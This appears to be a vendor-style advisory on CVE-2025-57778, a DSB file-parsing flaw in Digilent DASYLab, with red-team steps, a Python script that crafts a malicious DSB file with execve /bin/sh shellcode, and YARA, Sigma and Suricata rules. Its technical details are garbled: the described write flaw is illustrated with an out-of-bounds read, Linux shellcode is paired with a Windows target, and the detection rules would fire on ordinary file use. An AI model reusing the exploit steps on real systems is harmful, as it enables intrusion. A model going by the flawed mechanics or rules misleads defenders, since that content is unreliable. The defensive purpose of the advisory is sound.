CVE-2025-57778

Executive Summary

CVE-2025-57778 is a critical out-of-bounds write vulnerability in Digilent DASYLab, affecting all versions of the software. The flaw resides in the DSB file parsing routine, where improper bounds checking leads to an invalid source address during memory operations. An attacker can exploit this by convincing a user to open a specially crafted DSB file, resulting in arbitrary code execution on the victim's machine. With a CVSS score of 7.8 (High), this vulnerability poses a significant risk to industrial control, data acquisition, and laboratory environments where DASYLab is deployed. No public exploit code or proof-of-concept is currently available, and no official patch has been released by the vendor.

CVSS Breakdown & Threat Level

• CVSS Score: 7.8 (High)
• Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Attack Vector: Local (requires user to open a malicious file)
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must open the crafted DSB file)
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: High. The vulnerability allows complete compromise of the affected system, but exploitation depends on social engineering to deliver the malicious DSB file.

Deep Dive & Mechanics

The vulnerability is an out-of-bounds write (CWE-787) triggered during the parsing of DSB files by Digilent DASYLab. DSB files are binary data files used by DASYLab for storing measurement configurations and data. The parsing routine fails to properly validate the source address when copying data from the file into a memory buffer. This allows an attacker to craft a DSB file with a malformed header or data block that specifies an invalid source address, causing the software to write data outside the allocated buffer.

Technical Details:

• The flaw is in the DSBParse function (or equivalent) within the DASYLab binary.
• When reading a DSB file, the software extracts a source address from the file structure.
• Due to missing bounds checking, this address can point to an arbitrary memory location.
• The subsequent memory copy operation writes attacker-controlled data to that arbitrary location.
• This can overwrite critical data structures, function pointers, or return addresses, leading to arbitrary code execution.

Attack Vector:

1. Attacker crafts a malicious DSB file with a corrupted header containing an out-of-bounds source address.
2. Attacker delivers the file via email, USB drive, or other means, tricking the user into opening it with DASYLab.
3. Upon opening, the vulnerable parsing routine executes the out-of-bounds write, corrupting memory.
4. The attacker gains control of the instruction pointer and executes shellcode embedded in the DSB file.

Vulnerable vs. Patched Code

Since no official patch is available, a direct code comparison is not possible. However, the vulnerable code pattern is typical of unsafe memory operations in C/C++:

Vulnerable Code (Hypothetical):

void ParseDSBFile(char *fileBuffer, size_t fileSize) {
    char *destBuffer = malloc(1024);
    uint32_t srcOffset = *(uint32_t*)(fileBuffer + 8); // Attacker-controlled
    memcpy(destBuffer, fileBuffer + srcOffset, 1024); // No bounds check on srcOffset
}

Patched Code (Hypothetical):

void ParseDSBFile(char *fileBuffer, size_t fileSize) {
    char *destBuffer = malloc(1024);
    uint32_t srcOffset = *(uint32_t*)(fileBuffer + 8);
    if (srcOffset + 1024 > fileSize) { // Bounds check
        // Handle error
        return;
    }
    memcpy(destBuffer, fileBuffer + srcOffset, 1024);
}

The patch would add a bounds check to ensure the source offset plus the copy size does not exceed the file buffer size.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Digilent DASYLab (any version) installed on a Windows target.
• Ability to deliver a malicious DSB file to the victim.

Exploitation Steps:

1. Craft Malicious DSB File: Use a hex editor or custom script to modify a legitimate DSB file. Overwrite the source address field (typically at a fixed offset in the file header) with a value that points to a controlled memory region (e.g., stack or heap).
2. Embed Shellcode: Place shellcode (e.g., reverse shell or payload) in the DSB file at a known offset. The out-of-bounds write will copy this shellcode to the target memory location.
3. Deliver File: Send the crafted DSB file via email, USB, or other means, with social engineering to encourage the user to open it.
4. Trigger Exploit: When the user opens the file in DASYLab, the out-of-bounds write overwrites a function pointer or return address, redirecting execution to the shellcode.

Example Payload (Reverse Shell):

# Python script to craft a malicious DSB file (conceptual)
import struct

# Legitimate DSB header (simplified)
header = b'\x44\x53\x42\x00'  # Magic bytes
header += struct.pack('<I', 0x100)  # Source offset (malicious)
header += b'\x00' * 100  # Padding

# Shellcode (e.g., msfvenom reverse shell)
shellcode = b'\x90\x90\x90\x90'  # NOP sled
shellcode += b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'  # execve /bin/sh

# Combine
malicious_dsb = header + shellcode
with open('exploit.dsb', 'wb') as f:
    f.write(malicious_dsb)

Blue Team (Defense)

Detection & Prevention:

• User Awareness: Train users not to open DSB files from untrusted sources.
• File Scanning: Deploy antivirus/EDR solutions that can detect malicious DSB files based on anomalous structures.
• Application Control: Use AppLocker or similar to restrict execution of DASYLab to trusted scenarios.
• Memory Protection: Enable ASLR, DEP, and CFG on Windows to mitigate exploitation.
• Network Segmentation: Isolate DASYLab systems from the internet and limit lateral movement.

Hunting:

• Monitor for unusual DASYLab process crashes or memory access violations.
• Look for DSB files with abnormal sizes or headers (e.g., source offset exceeding file size).
• Check for child processes spawned by DASYLab (e.g., cmd.exe, powershell.exe).

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2025_57778_Malicious_DSB {
    meta:
        description = "Detects malicious DSB files exploiting CVE-2025-57778"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-57778"
    strings:
        $magic = {44 53 42 00} // DSB magic bytes
        $large_offset = {00 00 01 00} // Example: offset 0x100 (malicious)
    condition:
        $magic at 0 and $large_offset
}

Sigma Rule

title: CVE-2025-57778 Exploitation via DASYLab
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects DASYLab crashes or anomalous behavior indicative of exploitation
author: Valters IT
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\DASYLab.exe'
        CommandLine|contains: '.dsb'
    condition: selection
falsepositives:
    - Legitimate DSB file processing
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-57778 DASYLab Outbound Connection"; flow:to_server,established; content:"|44 53 42 00|"; depth:4; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable DSB File Parsing: If possible, configure DASYLab to not automatically parse DSB files, or block the file extension at the perimeter.
2. User Education: Warn users about the risks of opening DSB files from untrusted sources.
3. Application Whitelisting: Only allow DASYLab to run in controlled, isolated environments.

Long-Term Fix:

• Vendor Patch: Await an official patch from Digilent. Contact the vendor for updates.
• Workaround: If source code is available, apply the bounds check fix described in the "Vulnerable vs. Patched Code" section.
• Alternative Software: Consider migrating to alternative data acquisition software that is actively maintained.

Monitoring:

• Deploy the YARA, Sigma, and Suricata rules above to detect exploitation attempts.
• Monitor DASYLab process behavior for anomalies.

Valters IT